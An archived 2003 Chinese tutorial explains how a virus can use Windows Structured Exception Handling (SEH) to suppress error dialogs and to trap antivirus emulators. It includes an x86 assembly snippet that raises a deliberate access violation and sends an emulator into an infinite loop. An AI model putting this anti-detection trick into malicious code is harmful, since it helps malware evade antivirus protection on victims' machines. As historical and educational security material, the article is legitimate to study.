老文章档案 · 2003 年

SEH 於病毒的應用

赢政天下 [WINZHENG.COM] · 网络学院 · 2003-06-15 · 作者:henrynote 人气: · 出处:嬴政天下整理收藏)

SEH 於病毒的應用

前話:

由於小弟技術很爛,有錯的地方,請多多指正,不要客氣。謝謝啦…這篇文章是我的第一篇,可能會

錯誤百出,所以不要期待這是一篇好文章。希望能共同進步!

*這篇文章隻出於研究病毒用途,請不要用此技術制造具有破壞性的病毒。謝謝!如有任何人用此技術

造成任何破壞,於本人無關!

簡介:

SEH 是什麼?不知道是什麼東東的話,就先去看看hume寫的《SEH in ASM 的研究》或者

《Win32 Exception handling for assembler programmers by Jeremy Gordon》,再回來看這篇

爛文章吧!

1.為什麼要在病毒裡使用seh呢?

任何程序都有可能有錯誤出現的,在我們的病毒裡也是一樣。病毒通常是用戶在不知不覺下

做手腳,如果我們的病毒出了錯,那麼就有可能彈出一個個討厭的錯誤信息框,這樣一來我們的病毒

就沒有什麼意思了。不被用戶察覺是十分重要的,所以我們要用SEH來處理我們病毒裡有可能出現的錯

誤。這是 SEH 於病毒中的應用之一,相信你在看完成SEH 的文章後,應該知道怎樣使用SEH去處理在

病毒裡所產生的異常。

在我們的病毒裡還有一樣很重要的是--避免被偵察到,不然我們的病毒在開始運行的時候就被

發現和殺掉,那麼我們的心血就泡湯了!所以我們要令我們的病毒不容易給 反病毒引擎 發現。

當一個程序運行時,反病毒引擎會模擬程序的代碼,如果它找到的疑點多的話,那麼這個程序

大多是被病毒感染了!這時反病毒引擎會做出適當的處理。所以我們可以在病毒裡使用SEH設計一個陷阱

給AVs的Emulator。這樣就可避免被捕!哈哈!

2.如何用SEH於你的病毒去搞定Emulator?

o當!o當!入正題!既然它那麼喜歡要模擬我們的代碼,我們就在病毒一開始就安裝一個SEH,

該處理異常程序就是我們的病毒,然後製造一個異常。這樣就進入異常處理程序(我們的病毒)繼續執行

。而仿真器卻會以為是這是個普通異常處理程序,但是有些AVs會在遇到錯誤代碼之后試圖繼續模擬下一

個指令,那麼我們就讓它進入一個死循環!哈哈!How? 看看下面的代碼:

*部分代碼是引用benny's polymorphic engine

start:call Set_SEH;這句其實就是 push offset CONTINUE

; JMP Set_SEH

CONTINUE:mov esp, [esp+8];恢復堆棧, 當一個異常產生時,系統會掛起程序,並呼叫處理程序,

;傳送處理程序的參數裡,在[ESP+8]處儲存的是舊的堆棧的地址

push offset Start_Virus ;----_ 把Start_Virus 的地址壓進堆棧裡,當作返回地址

ret;---- 跟著來一個ret,跳到Start_Virus去,是不是很magic?

Set_SEH:sub edx, edx ;Edx =0

;如果你使用的是masm,應該加下面一句,不然就會引起編譯錯誤

;Assume fs:nothing

push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 結構的指針壓到堆棧

mov fs:[edx], esp;安裝一個seh 框架

mov [edx],edx;注意這裡引起一個異常,因為edx=0, 所以會引起一個讀寫內存沖突的異常,

;如果Emulator 不理會異常,不進入seh 處理程序(即 CONTINUE: ),繼續模

;擬下個指令,也就是jmp start,那麼就會進入一個死循環,這可能會造成當

jmp start ;機

Start_Virus: .....

.....

自己試試看吧!

明白了嗎?不明白?沒關系,沒有什麼人什麼都懂,寫信給我,我們來討論一下吧!我的qq:50527053,icq 72424549

email:henrynote@msn.com

*後話

SEH 的應用很廣,不隻是在病毒裡有用(廢話),最常用的當然是用來處理在可預知的異常,SEH 技術也可以用於

返跟蹤等等!

寫這篇的文章的目的是為了和各位初學者分享學習結果,我也是初學者,希望能與大家一同進步。

在這裡要感謝很多人,所有幫助過我的朋友,有鼓勵我寫這篇文章的-老羅,還有很多大哥。

--------------------------------------------------------------------------------------------------------------

(出处:嬴政天下整理收藏)

相关文章:

·杂谈黑客

相关软件:

→ 特别推荐

→ 热点TOP10

关于我们 |

帮助(?)

| 广告服务 |

版权声明 |

商业合作 |

发展历程 |

加盟我们 |

联系我们

Copyright © 1999-2003

winzheng.com All Rights Reserved.

繁体版:由华琦数码技术提供

Powered

by:MeSky.Net

2003-2004 年,宽带刚刚普及,下载站的文章区是许多人学电脑的第一课堂。
🕰 → 🤖 从那时到现在

当年一篇教程能让一台电脑焕然一新;今天的效率工具换成了 AI。 想知道当下最可靠的 AI 模型怎么选?看 赢政指数——我们用了 28 年的选软件严谨,现在用来评测大模型。

档案性质声明:本页为赢政天下(1998-2011)老文章的历史档案复原, 内容反映当年发表时的原貌——包括当年的技术表述、软件版本与观点,部分方法在今天已不适用或不合规,仅作互联网历史记录与研究用途, 不提供任何形式的下载。原始数据经由公共网络存档(Internet Archive)复原。发现问题请联系我们
← 返回老文章档案 · 软件史档案馆 · 赢政天下站史